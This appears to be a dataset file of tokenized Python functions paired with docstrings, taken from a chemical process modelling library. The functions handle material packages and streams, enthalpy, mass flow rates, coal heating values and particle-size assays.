{"signature": "def _is_compound_mass_temperature_tuple(self, value):", "body": "if not type(value) is tuple:<EOL><INDENT>return False<EOL><DEDENT>elif not len(value) == <NUM_LIT:3>:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:0>]) is str:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:1>]) is float andnot type(value[<NUM_LIT:1>]) is numpy.float64 andnot type(value[<NUM_LIT:1>]) is numpy.float32:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:1>]) is float andnot type(value[<NUM_LIT:1>]) is numpy.float64 andnot type(value[<NUM_LIT:1>]) is numpy.float32:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Determines whether value is a tuple of the format\n        (compound(str), mass(float), temperature(float)).\n\n        :param value: The value to be tested.\n\n        :returns: True or False", "id": "f15823:c1:m9"}
{"signature": "@property<EOL><INDENT>def H(self):<DEDENT>", "body": "return self._H<EOL>", "docstring": "Get the enthalpy of the package.\n\n:returns: Enthalpy. [kWh]", "id": "f15823:c1:m10"}
{"signature": "@H.setter<EOL><INDENT>def H(self, H):<DEDENT>", "body": "self._H = H<EOL>self._T = self._calculate_T(H)<EOL>", "docstring": "Set the enthalpy of the package to the specified value, and\nrecalculate it's temperature.\n\n:param H: The new enthalpy value. [kWh]", "id": "f15823:c1:m11"}
{"signature": "@property<EOL><INDENT>def T(self):<DEDENT>", "body": "return self._T<EOL>", "docstring": "Get the temperature of of the package.\n\n:returns: Temperature. [\u00b0C]", "id": "f15823:c1:m12"}
{"signature": "@T.setter<EOL><INDENT>def T(self, T):<DEDENT>", "body": "self._T = T<EOL>self._H = self._calculate_H(T)<EOL>", "docstring": "Set the temperature of the package to the specified value, and\nrecalculate it's enthalpy.\n\n:param T: Temperature. [\u00b0C]", "id": "f15823:c1:m13"}
{"signature": "@property<EOL><INDENT>def P(self):<DEDENT>", "body": "return self._P<EOL>", "docstring": "Determine the pressure of the package.\n\n        :returns: Pressure. [atm]", "id": "f15823:c1:m14"}
{"signature": "@P.setter<EOL><INDENT>def P(self, P):<DEDENT>", "body": "self._P = P<EOL>", "docstring": "Set the pressure of the package to the specified value.\n\n        :param P: Pressure. [atm]", "id": "f15823:c1:m15"}
{"signature": "def clone(self):", "body": "result = copy.copy(self)<EOL>result._compound_masses = copy.deepcopy(self._compound_masses)<EOL>return result<EOL>", "docstring": "Create a complete copy of the package.\n\n        :returns: A new MaterialPackage object.", "id": "f15823:c1:m16"}
{"signature": "def clear(self):", "body": "self._compound_masses = self._compound_masses * <NUM_LIT:0.0><EOL>self._P = <NUM_LIT:1.0><EOL>self._T = <NUM_LIT><EOL>self._H = <NUM_LIT:0.0><EOL>", "docstring": "Set all the compound masses in the package to zero.\nSet the pressure to 1, the temperature to 25 and the enthalpy to zero.", "id": "f15823:c1:m17"}
{"signature": "def get_assay(self):", "body": "return self._compound_masses / self._compound_masses.sum()<EOL>", "docstring": "Determine the assay of the package.\n\n:returns: Array of mass fractions.", "id": "f15823:c1:m18"}
{"signature": "@property<EOL><INDENT>def mass(self):<DEDENT>", "body": "return self._compound_masses.sum()<EOL>", "docstring": "Get the mass of the package.\n\n:returns: [kg]", "id": "f15823:c1:m19"}
{"signature": "def get_compound_mass(self, compound):", "body": "if compound in self.material.compounds:<EOL><INDENT>return self._compound_masses[<EOL>self.material.get_compound_index(compound)]<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>", "docstring": "Determine the mass of the specified compound in the package.\n\n:param compound: Formula and phase of a compound, e.g. \"Fe2O3[S1]\".\n\n:returns: Mass. [kg]", "id": "f15823:c1:m20"}
{"signature": "def get_compound_amounts(self):", "body": "result = self._compound_masses * <NUM_LIT:1.0><EOL>for compound in self.material.compounds:<EOL><INDENT>index = self.material.get_compound_index(compound)<EOL>result[index] = stoich.amount(compound, result[index])<EOL><DEDENT>return result<EOL>", "docstring": "Determine the mole amounts of all the compounds.\n\n:returns: List of amounts. [kmol]", "id": "f15823:c1:m21"}
{"signature": "def get_compound_amount(self, compound):", "body": "index = self.material.get_compound_index(compound)<EOL>return stoich.amount(compound, self._compound_masses[index])<EOL>", "docstring": "Determine the mole amount of the specified compound.\n\n:returns: Amount. [kmol]", "id": "f15823:c1:m22"}
{"signature": "@property<EOL><INDENT>def amount(self):<DEDENT>", "body": "return sum(self.get_compound_amount(c) for c in self.material.compounds)<EOL>", "docstring": "Determine the sum of mole amounts of all the compounds.\n\n:returns: Amount. [kmol]", "id": "f15823:c1:m23"}
{"signature": "def get_element_masses(self, elements=None):", "body": "if elements is None:<EOL><INDENT>elements = self.material.elements<EOL><DEDENT>result = numpy.zeros(len(elements))<EOL>for compound in self.material.compounds:<EOL><INDENT>result += self.get_compound_mass(compound) *numpy.array(stoich.element_mass_fractions(compound, elements))<EOL><DEDENT>return result<EOL>", "docstring": "Determine the masses of elements in the package.\n\n:returns: Array of element masses. [kg]", "id": "f15823:c1:m24"}
{"signature": "def get_element_mass_dictionary(self):", "body": "element_symbols = self.material.elements<EOL>element_masses = self.get_element_masses()<EOL>return {s: m for s, m in zip(element_symbols, element_masses)}<EOL>", "docstring": "Determine the masses of elements in the package and return as a\ndictionary.\n\n:returns: Dictionary of element symbols and masses. [kg]", "id": "f15823:c1:m25"}
{"signature": "def get_element_mass(self, element):", "body": "result = numpy.zeros(<NUM_LIT:1>)<EOL>for compound in self.material.compounds:<EOL><INDENT>result += self.get_compound_mass(compound) *numpy.array(stoich.element_mass_fractions(compound, [element]))<EOL><DEDENT>return result[<NUM_LIT:0>]<EOL>", "docstring": "Determine the mass of the specified elements in the package.\n\n:returns: Masses. [kg]", "id": "f15823:c1:m26"}
{"signature": "def extract(self, other):", "body": "<EOL>if type(other) is float ortype(other) is numpy.float64 ortype(other) is numpy.float32:<EOL><INDENT>return self._extract_mass(other)<EOL><DEDENT>elif self._is_compound_mass_tuple(other):<EOL><INDENT>return self._extract_compound_mass(other[<NUM_LIT:0>], other[<NUM_LIT:1>])<EOL><DEDENT>elif type(other) is str:<EOL><INDENT>return self._extract_compound(other)<EOL><DEDENT>elif type(other) is Material:<EOL><INDENT>return self._extract_material(other)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Extract 'other' from this package, modifying this package and\nreturning the extracted material as a new package.\n\n:param other: Can be one of the following:\n\n  * float: A mass equal to other is extracted from self. Self is\n    reduced by other and the extracted package is returned as\n    a new package.\n  * tuple (compound, mass): The other tuple specifies the mass\n    of a compound to be extracted. It is extracted from self and\n    the extracted mass is returned as a new package.\n  * string: The 'other' string specifies the compound to be\n    extracted. All of the mass of that compound will be removed\n    from self and a new package created with it.\n  * Material: The 'other' material specifies the list of\n    compounds to extract.\n\n\n:returns: New MaterialPackage object.", "id": "f15823:c1:m27"}
{"signature": "def __add__(self, other):", "body": "<EOL>if type(other) is MaterialStream:<EOL><INDENT>if self.material == other.material:  <EOL><INDENT>if self.isCoal or other.isCoal:<EOL><INDENT>HHV = <NUM_LIT:0><EOL>if self.HHV:<EOL><INDENT>HHV += self.HHV * self.mfr<EOL><DEDENT>if other.HHV:<EOL><INDENT>HHV += other.HHV * other.mfr<EOL><DEDENT>HHV /= self.mfr + other.mfr<EOL>isCoal = True<EOL><DEDENT>else:<EOL><INDENT>isCoal = False<EOL>HHV = None<EOL><DEDENT>result = MaterialStream(self.material,<EOL>self._compound_mfrs +<EOL>other._compound_mfrs, isCoal=isCoal, HHV=HHV)<EOL>result.Hfr = self._Hfr + other._Hfr<EOL>result.P = self.P<EOL>return result<EOL><DEDENT>else:  <EOL><INDENT>Hfr = self.Hfr + other.Hfr<EOL>result = self.clone()<EOL>for compound in other.material.compounds:<EOL><INDENT>if compound not in self.material.compounds:<EOL><INDENT>raise Exception(\"<STR_LIT>\" + other.material.name +<EOL>\"<STR_LIT>\" +<EOL>self.material.name +<EOL>\"<STR_LIT>\" + compound +<EOL>\"<STR_LIT>\" +<EOL>self.material.name + \"<STR_LIT>\")<EOL><DEDENT>result = result + (compound,<EOL>other.get_compound_mfr(compound))<EOL><DEDENT>result.Hfr = Hfr<EOL>return result<EOL><DEDENT><DEDENT>elif self._is_compound_mfr_tuple(other):<EOL><INDENT>compound = other[<NUM_LIT:0>]<EOL>index = self.material.get_compound_index(compound)<EOL>mfr = other[<NUM_LIT:1>]<EOL>enthalpy = thermo.H(compound, self._T, mfr)<EOL>result = self.clone()<EOL>result._compound_mfrs[index] += mfr<EOL>result._update_HHV(compound, mfr)<EOL>result._Hfr += enthalpy<EOL>result._P = self._P<EOL>return result<EOL><DEDENT>elif self._is_compound_mfr_temperature_tuple(other):<EOL><INDENT>compound = other[<NUM_LIT:0>]<EOL>index = self.material.get_compound_index(compound)<EOL>mfr = other[<NUM_LIT:1>]<EOL>temperature = other[<NUM_LIT:2>]<EOL>enthalpy = thermo.H(compound, temperature, mfr)<EOL>result = self * <NUM_LIT:1.0><EOL>result._compound_mfrs[index] += mfr<EOL>result.Hfr = self._Hfr + enthalpy<EOL>result._P = self._P<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Addition operator (+).\n\nAdd this stream (self) and 'other' together, return the result as a\nnew stream, and leave self unchanged.\n\n:param other: Can can be one of the following:\n         1. MaterialStream\n            'other' is added to self to create a new stream.\n         2. tuple: (compound, mass flow rate)\n            The specified mass flow rate of the specified compound is added to \\\n            self, assuming the added material has the same \\\n            temperature as self.\n         3. tuple: (compound, mass flow rate, temperature)\n            The specified mass flow rate of the specified compound at the \\\n            specified temperature is added to self.\n\n:returns: A new MaterialStream that is the sum of self and 'other'.", "id": "f15823:c2:m2"}
{"signature": "def __mul__(self, scalar):", "body": "<EOL>if type(scalar) is float or type(scalar) is numpy.float64 ortype(scalar) is numpy.float32:<EOL><INDENT>if scalar < <NUM_LIT:0.0>:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>result = MaterialStream(self.material, self._compound_mfrs *<EOL>scalar, self._P, self._T, self.isCoal,<EOL>self.HHV)<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "The multiplication operator (*).\n\nCreate a new stream by multiplying self with scalar.\n\n:param scalar: The result is a new stream with its content equal to\n  self multiplied by a scalar, leaving self unchanged.\n\n:returns: New MaterialStream object.", "id": "f15823:c2:m3"}
{"signature": "def _calculate_Hfr(self, T):", "body": "if self.isCoal:<EOL><INDENT>return self._calculate_Hfr_coal(T)<EOL><DEDENT>Hfr = <NUM_LIT:0.0><EOL>for compound in self.material.compounds:<EOL><INDENT>index = self.material.get_compound_index(compound)<EOL>dHfr = thermo.H(compound, T, self._compound_mfrs[index])<EOL>Hfr = Hfr + dHfr<EOL><DEDENT>return Hfr<EOL>", "docstring": "Calculate the enthalpy flow rate of the stream at the specified\ntemperature.\n\n:param T: Temperature. [\u00b0C]\n\n:returns: Enthalpy flow rate. [kWh/h]", "id": "f15823:c2:m4"}
{"signature": "def _calculate_DH298_coal(self):", "body": "m_C = <NUM_LIT:0>  <EOL>m_H = <NUM_LIT:0>  <EOL>m_O = <NUM_LIT:0>  <EOL>m_N = <NUM_LIT:0>  <EOL>m_S = <NUM_LIT:0>  <EOL>T = <NUM_LIT>  <EOL>Hin = <NUM_LIT:0.0>  <EOL>for compound in self.material.compounds:<EOL><INDENT>index = self.material.get_compound_index(compound)<EOL>formula = compound.split('<STR_LIT:[>')[<NUM_LIT:0>]<EOL>if stoich.element_mass_fraction(formula, '<STR_LIT:C>') == <NUM_LIT:1.0>:<EOL><INDENT>m_C += self._compound_mfrs[index]<EOL>Hin += thermo.H(compound, T, self._compound_mfrs[index])<EOL><DEDENT>elif stoich.element_mass_fraction(formula, '<STR_LIT:H>') == <NUM_LIT:1.0>:<EOL><INDENT>m_H += self._compound_mfrs[index]<EOL>Hin += thermo.H(compound, T, self._compound_mfrs[index])<EOL><DEDENT>elif stoich.element_mass_fraction(formula, '<STR_LIT:O>') == <NUM_LIT:1.0>:<EOL><INDENT>m_O += self._compound_mfrs[index]<EOL>Hin += thermo.H(compound, T, self._compound_mfrs[index])<EOL><DEDENT>elif stoich.element_mass_fraction(formula, '<STR_LIT:N>') == <NUM_LIT:1.0>:<EOL><INDENT>m_N += self._compound_mfrs[index]<EOL>Hin += thermo.H(compound, T, self._compound_mfrs[index])<EOL><DEDENT>elif stoich.element_mass_fraction(formula, '<STR_LIT:S>') == <NUM_LIT:1.0>:<EOL><INDENT>m_S += self._compound_mfrs[index]<EOL>Hin += thermo.H(compound, T, self._compound_mfrs[index])<EOL><DEDENT><DEDENT>m_total = m_C + m_H + m_O + m_N + m_S  <EOL>Hout = <NUM_LIT:0.0>  <EOL>Hout += thermo.H('<STR_LIT>', T, cc(m_C, '<STR_LIT:C>', '<STR_LIT>', '<STR_LIT:C>'))<EOL>Hout += thermo.H('<STR_LIT>', T, cc(m_H, '<STR_LIT:H>', '<STR_LIT>', '<STR_LIT:H>'))<EOL>Hout += thermo.H('<STR_LIT>', T, m_O)<EOL>Hout += thermo.H('<STR_LIT>', T, m_N)<EOL>Hout += thermo.H('<STR_LIT>', T, cc(m_S, '<STR_LIT:S>', '<STR_LIT>', '<STR_LIT:S>'))<EOL>Hout /= m_total<EOL>if self.HHV is None:<EOL><INDENT>HHV = (Hout - Hin) / m_total  <EOL><DEDENT>else:<EOL><INDENT>HHV = self.HHV / <NUM_LIT>  <EOL>HHV *= self.mfr / m_total  <EOL><DEDENT>return HHV + Hout<EOL>", "docstring": "Calculate the enthalpy of formation of the dry-ash-free (daf) component of the coal.\n\n:returns: [kWh/kg daf] enthalpy of formation of daf coal", "id": "f15823:c2:m5"}
{"signature": "def _calculate_Hfr_coal(self, T):", "body": "m_C = <NUM_LIT:0>  <EOL>m_H = <NUM_LIT:0>  <EOL>m_O = <NUM_LIT:0>  <EOL>m_N = <NUM_LIT:0>  <EOL>m_S = <NUM_LIT:0>  <EOL>Hfr = <NUM_LIT:0.0>  <EOL>for compound in self.material.compounds:<EOL><INDENT>index = self.material.get_compound_index(compound)<EOL>formula = compound.split('<STR_LIT:[>')[<NUM_LIT:0>]<EOL>if stoich.element_mass_fraction(formula, '<STR_LIT:C>') == <NUM_LIT:1.0>:<EOL><INDENT>m_C += self._compound_mfrs[index]<EOL><DEDENT>elif stoich.element_mass_fraction(formula, '<STR_LIT:H>') == <NUM_LIT:1.0>:<EOL><INDENT>m_H += self._compound_mfrs[index]<EOL><DEDENT>elif stoich.element_mass_fraction(formula, '<STR_LIT:O>') == <NUM_LIT:1.0>:<EOL><INDENT>m_O += self._compound_mfrs[index]<EOL><DEDENT>elif stoich.element_mass_fraction(formula, '<STR_LIT:N>') == <NUM_LIT:1.0>:<EOL><INDENT>m_N += self._compound_mfrs[index]<EOL><DEDENT>elif stoich.element_mass_fraction(formula, '<STR_LIT:S>') == <NUM_LIT:1.0>:<EOL><INDENT>m_S += self._compound_mfrs[index]<EOL><DEDENT>else:<EOL><INDENT>dHfr = thermo.H(compound, T, self._compound_mfrs[index])<EOL>Hfr += dHfr<EOL><DEDENT><DEDENT>m_total = m_C + m_H + m_O + m_N + m_S  <EOL>y_C = m_C / m_total<EOL>y_H = m_H / m_total<EOL>y_O = m_O / m_total<EOL>y_N = m_N / m_total<EOL>y_S = m_S / m_total<EOL>hmodel = coals.DafHTy()<EOL>H = hmodel.calculate(T=T+<NUM_LIT>, y_C=y_C, y_H=y_H, y_O=y_O, y_N=y_N,<EOL>y_S=y_S) / <NUM_LIT>  <EOL>H298 = hmodel.calculate(T=<NUM_LIT>, y_C=y_C, y_H=y_H, y_O=y_O, y_N=y_N,<EOL>y_S=y_S) / <NUM_LIT>  <EOL>Hdaf = H - H298 + self._DH298  <EOL>Hdaf *= m_total  <EOL>Hfr += Hdaf<EOL>return Hfr<EOL>", "docstring": "Calculate the enthalpy flow rate of the stream at the specified\ntemperature, in the case of it being coal.\n\n:param T: Temperature. [\u00b0C]\n\n:returns: Enthalpy flow rate. [kWh/h]", "id": "f15823:c2:m6"}
{"signature": "def _calculate_T(self, Hfr):", "body": "<EOL>x = list()<EOL>x.append(self._T)<EOL>x.append(self._T + <NUM_LIT>)<EOL>y = list()<EOL>y.append(self._calculate_Hfr(x[<NUM_LIT:0>]) - Hfr)<EOL>y.append(self._calculate_Hfr(x[<NUM_LIT:1>]) - Hfr)<EOL>for i in range(<NUM_LIT:2>, <NUM_LIT:50>):<EOL><INDENT>x.append(x[i-<NUM_LIT:1>] - y[i-<NUM_LIT:1>]*((x[i-<NUM_LIT:1>] - x[i-<NUM_LIT:2>])/(y[i-<NUM_LIT:1>] - y[i-<NUM_LIT:2>])))<EOL>y.append(self._calculate_Hfr(x[i]) - Hfr)<EOL>if abs(y[i-<NUM_LIT:1>]) < <NUM_LIT>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return x[len(x) - <NUM_LIT:1>]<EOL>", "docstring": "Calculate the temperature of the stream given the specified\nenthalpy flow rate using a secant algorithm.\n\n:param H: Enthalpy flow rate. [kWh/h]\n\n:returns: Temperature. [\u00b0C]", "id": "f15823:c2:m7"}
{"signature": "def _is_compound_mfr_tuple(self, value):", "body": "if not type(value) is tuple:<EOL><INDENT>return False<EOL><DEDENT>elif not len(value) == <NUM_LIT:2>:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:0>]) is str:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:1>]) is float andnot type(value[<NUM_LIT:1>]) is numpy.float64 andnot type(value[<NUM_LIT:1>]) is numpy.float32:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Determines whether value is a tuple of the format\n(compound(str), mfr(float)).\n\n:param value: The value to be tested.\n\n:returns: True or False", "id": "f15823:c2:m8"}
{"signature": "def _is_compound_mfr_temperature_tuple(self, value):", "body": "if not type(value) is tuple:<EOL><INDENT>return False<EOL><DEDENT>elif not len(value) == <NUM_LIT:3>:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:0>]) is str:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:1>]) is float andnot type(value[<NUM_LIT:1>]) is numpy.float64 andnot type(value[<NUM_LIT:1>]) is numpy.float32:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:1>]) is float andnot type(value[<NUM_LIT:1>]) is numpy.float64 andnot type(value[<NUM_LIT:1>]) is numpy.float32:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Determines whether value is a tuple of the format\n        (compound(str), mfr(float), temperature(float)).\n\n        :param value: The value to be tested.\n\n        :returns: True or False", "id": "f15823:c2:m9"}
{"signature": "@property<EOL><INDENT>def Hfr(self):<DEDENT>", "body": "return self._Hfr<EOL>", "docstring": "Get the enthalpy flow rate of the stream.\n\n:returns: Enthalpy flow rate. [kWh/h]", "id": "f15823:c2:m10"}
{"signature": "@Hfr.setter<EOL><INDENT>def Hfr(self, Hfr):<DEDENT>", "body": "self._Hfr = Hfr<EOL>self._T = self._calculate_T(Hfr)<EOL>", "docstring": "Set the enthalpy flow rate of the stream to the specified value, and\nrecalculate it's temperature.\n\n:param H: The new enthalpy flow rate value. [kWh/h]", "id": "f15823:c2:m11"}
{"signature": "@property<EOL><INDENT>def T(self):<DEDENT>", "body": "return self._T<EOL>", "docstring": "Get the temperature of the stream.\n\n:returns: Temperature. [\u00b0C]", "id": "f15823:c2:m12"}
{"signature": "@T.setter<EOL><INDENT>def T(self, T):<DEDENT>", "body": "self._T = T<EOL>self._Hfr = self._calculate_Hfr(T)<EOL>", "docstring": "Set the temperature of the stream to the specified value, and\nrecalculate it's enthalpy.\n\n:param T: Temperature. [\u00b0C]", "id": "f15823:c2:m13"}
{"signature": "@property<EOL><INDENT>def HHV(self):<DEDENT>", "body": "return self._HHV<EOL>", "docstring": "Get the higher heating value of the stream.\n\n:returns: MJ/kg coal, higher heating value", "id": "f15823:c2:m14"}
{"signature": "@HHV.setter<EOL><INDENT>def HHV(self, HHV):<DEDENT>", "body": "self._HHV = HHV  <EOL>if self.isCoal:<EOL><INDENT>self._DH298 = self._calculate_DH298_coal()<EOL><DEDENT>", "docstring": "Set the higher heating value of the stream to the specified value, and\nrecalculate the formation enthalpy of the daf coal.\n\n:param HHV: MJ/kg coal, higher heating value", "id": "f15823:c2:m15"}
{"signature": "@property<EOL><INDENT>def P(self):<DEDENT>", "body": "return self._P<EOL>", "docstring": "Determine the pressure of the stream.\n\n        :returns: Pressure. [atm]", "id": "f15823:c2:m16"}
{"signature": "@P.setter<EOL><INDENT>def P(self, P):<DEDENT>", "body": "self._P = P<EOL>", "docstring": "Set the pressure of the stream to the specified value.\n\n        :param P: Pressure. [atm]", "id": "f15823:c2:m17"}
{"signature": "def clone(self):", "body": "result = copy.copy(self)<EOL>result._compound_mfrs = copy.deepcopy(self._compound_mfrs)<EOL>return result<EOL>", "docstring": "Create a complete copy of the stream.\n\n        :returns: A new MaterialStream object.", "id": "f15823:c2:m18"}
{"signature": "def clear(self):", "body": "self._compound_mfrs = self._compound_mfrs * <NUM_LIT:0.0><EOL>self._P = <NUM_LIT:1.0><EOL>self._T = <NUM_LIT><EOL>self._H = <NUM_LIT:0.0><EOL>", "docstring": "Set all the compound mass flow rates in the stream to zero.\nSet the pressure to 1, the temperature to 25 and the enthalpy to zero.", "id": "f15823:c2:m19"}
{"signature": "def get_assay(self):", "body": "return self._compound_mfrs / self._compound_mfrs.sum()<EOL>", "docstring": "Determine the assay of the stream.\n\n:returns: Array of mass fractions.", "id": "f15823:c2:m20"}
{"signature": "@property<EOL><INDENT>def mfr(self):<DEDENT>", "body": "return self._compound_mfrs.sum()<EOL>", "docstring": "Get the mass flow rate of the stream.\n\n:returns: Mass flow rate. [kg/h]", "id": "f15823:c2:m21"}
{"signature": "def get_compound_mfr(self, compound):", "body": "if compound in self.material.compounds:<EOL><INDENT>return self._compound_mfrs[<EOL>self.material.get_compound_index(compound)]<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>", "docstring": "Determine the mass flow rate of the specified compound in the stream.\n\n:param compound: Formula and phase of a compound, e.g. \"Fe2O3[S1]\".\n\n:returns: Mass flow rate. [kg/h]", "id": "f15823:c2:m22"}
{"signature": "def get_compound_afrs(self):", "body": "result = self._compound_mfrs * <NUM_LIT:1.0><EOL>for compound in self.material.compounds:<EOL><INDENT>index = self.material.get_compound_index(compound)<EOL>result[index] = stoich.amount(compound, result[index])<EOL><DEDENT>return result<EOL>", "docstring": "Determine the amount flow rates of all the compounds.\n\n:returns: List of amount flow rates. [kmol/h]", "id": "f15823:c2:m23"}
{"signature": "def get_compound_afr(self, compound):", "body": "index = self.material.get_compound_index(compound)<EOL>return stoich.amount(compound, self._compound_mfrs[index])<EOL>", "docstring": "Determine the amount flow rate of the specified compound.\n\n:returns: Amount flow rate. [kmol/h]", "id": "f15823:c2:m24"}
{"signature": "@property<EOL><INDENT>def afr(self):<DEDENT>", "body": "result = <NUM_LIT:0.0><EOL>for compound in self.material.compounds:<EOL><INDENT>result += self.get_compound_afr(compound)<EOL><DEDENT>return result<EOL>", "docstring": "Determine the sum of amount flow rates of all the compounds.\n\n:returns: Amount flow rate. [kmol/h]", "id": "f15823:c2:m25"}
{"signature": "def get_element_mfrs(self, elements=None):", "body": "if elements is None:<EOL><INDENT>elements = self.material.elements<EOL><DEDENT>result = numpy.zeros(len(elements))<EOL>for compound in self.material.compounds:<EOL><INDENT>result += self.get_compound_mfr(compound) *stoich.element_mass_fractions(compound, elements)<EOL><DEDENT>return result<EOL>", "docstring": "Determine the mass flow rates of elements in the stream.\n\n:returns: Array of element mass flow rates. [kg/h]", "id": "f15823:c2:m26"}
{"signature": "def get_element_mfr_dictionary(self):", "body": "element_symbols = self.material.elements<EOL>element_mfrs = self.get_element_mfrs()<EOL>result = dict()<EOL>for s, mfr in zip(element_symbols, element_mfrs):<EOL><INDENT>result[s] = mfr<EOL><DEDENT>return result<EOL>", "docstring": "Determine the mass flow rates of elements in the stream and return as\na dictionary.\n\n:returns: Dictionary of element symbols and mass flow rates. [kg/h]", "id": "f15823:c2:m27"}
{"signature": "def get_element_mfr(self, element):", "body": "result = <NUM_LIT:0.0><EOL>for compound in self.material.compounds:<EOL><INDENT>formula = compound.split('<STR_LIT:[>')[<NUM_LIT:0>]<EOL>result += self.get_compound_mfr(compound) *stoich.element_mass_fraction(formula, element)<EOL><DEDENT>return result<EOL>", "docstring": "Determine the mass flow rate of the specified elements in the stream.\n\n:returns: Mass flow rates. [kg/h]", "id": "f15823:c2:m28"}
{"signature": "def extract(self, other):", "body": "<EOL>if type(other) is float ortype(other) is numpy.float64 ortype(other) is numpy.float32:<EOL><INDENT>return self._extract_mfr(other)<EOL><DEDENT>elif self._is_compound_mfr_tuple(other):<EOL><INDENT>return self._extract_compound_mfr(other[<NUM_LIT:0>], other[<NUM_LIT:1>])<EOL><DEDENT>elif type(other) is str:<EOL><INDENT>return self._extract_compound(other)<EOL><DEDENT>elif type(other) is Material:<EOL><INDENT>return self._extract_material(other)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Extract 'other' from this stream, modifying this stream and returning\nthe extracted material as a new stream.\n\n:param other: Can be one of the following:\n\n  * float: A mass flow rate equal to other is extracted from self. Self\n    is reduced by other and the extracted stream is returned as\n    a new stream.\n  * tuple (compound, mass): The other tuple specifies the mass flow\n    rate of a compound to be extracted. It is extracted from self and\n    the extracted mass flow rate is returned as a new stream.\n  * string: The 'other' string specifies the compound to be\n    extracted. All of the mass flow rate of that compound will be\n    removed from self and a new stream created with it.\n  * Material: The 'other' material specifies the list of\n    compounds to extract.\n\n\n:returns: New MaterialStream object.", "id": "f15823:c2:m29"}
{"signature": "def __str__(self):", "body": "result = \"<STR_LIT>\" + self.name + \"<STR_LIT>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT:20>)<EOL>assay_names = sorted(self.assays.keys())<EOL>for assay_name in assay_names:<EOL><INDENT>result = result + assay_name.ljust(<NUM_LIT:20>)<EOL><DEDENT>result = result + \"<STR_LIT:\\n>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT:20>)<EOL>assay_names = sorted(self.assays.keys())<EOL>for assay_name in assay_names:<EOL><INDENT>result = result + str(self.solid_densities[assay_name]).ljust(<NUM_LIT:20>)<EOL><DEDENT>result = result + \"<STR_LIT:\\n>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT:20>)<EOL>assay_names = sorted(self.assays.keys())<EOL>for assay_name in assay_names:<EOL><INDENT>result = result + str(self.H2O_fractions[assay_name]).ljust(<NUM_LIT:20>)<EOL><DEDENT>result = result + \"<STR_LIT:\\n>\"<EOL>for size_class in self.size_classes:<EOL><INDENT>result = result + str(size_class).ljust(<NUM_LIT:20>)<EOL>compound_index = self.get_size_class_index(size_class)<EOL>for assay_name in assay_names:<EOL><INDENT>result = result + str(<EOL>self.assays[assay_name][compound_index]).ljust(<NUM_LIT:20>)<EOL><DEDENT>result = result + \"<STR_LIT:\\n>\"<EOL><DEDENT>return result<EOL>", "docstring": "Create a string representation of self.", "id": "f15826:c0:m1"}
{"signature": "def _prepare_lines(self, lines):", "body": "result = list()<EOL>for line in lines:<EOL><INDENT>line = line.strip()<EOL>line = line.replace(\"<STR_LIT:\\t>\", \"<STR_LIT:U+0020>\")<EOL>while line.find(\"<STR_LIT:U+0020>\") > -<NUM_LIT:1>:<EOL><INDENT>line = line.replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:U+0020>\")<EOL><DEDENT>result.append(line)<EOL><DEDENT>return result<EOL>", "docstring": "Prepare the lines read from the text file before starting to process\nit.", "id": "f15826:c0:m2"}
{"signature": "def get_size_class_index(self, size_class):", "body": "return self.size_classes.index(size_class)<EOL>", "docstring": "Determine the index of the specified size class.\n\n:param size_class: The formula and phase of the specified size class,\n  e.g. 'Fe2O3[S1]'.\n\n:returns: The index of the specified size class.", "id": "f15826:c0:m3"}
{"signature": "def create_empty_assay(self):", "body": "return numpy.zeros(self.size_class_count)<EOL>", "docstring": "Create an empty array to store an assay. The array's length will be\nequal to the number of size classes in the material.\n\n:returns: A floating point array.", "id": "f15826:c0:m4"}
{"signature": "def add_assay(self, name, solid_density, H2O_fraction, assay):", "body": "if not type(solid_density) is float:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>self.solid_densities[name] = solid_density<EOL>if not type(H2O_fraction) is float:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>self.H2O_fractions[name] = H2O_fraction<EOL>if not type(assay) is numpy.ndarray:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>elif not assay.shape == (self.size_class_count,):<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif name in self.assays.keys():<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.assays[name] = assay<EOL>", "docstring": "Add an assay to the material.\n\n        :param name: The name of the new assay.\n        :param assay: A numpy array containing the size class mass fractions\n          for the assay. The sequence of the assay's elements must correspond\n          to the sequence of the material's size classes.", "id": "f15826:c0:m5"}
